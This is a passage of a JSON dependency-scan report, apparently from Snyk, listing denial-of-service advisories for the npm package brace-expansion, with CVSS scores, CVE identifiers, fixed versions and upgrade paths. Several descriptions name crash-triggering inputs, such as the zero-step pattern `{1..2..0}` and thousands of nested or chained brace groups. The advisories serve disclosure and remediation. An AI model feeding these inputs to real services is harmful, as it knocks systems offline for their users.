"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
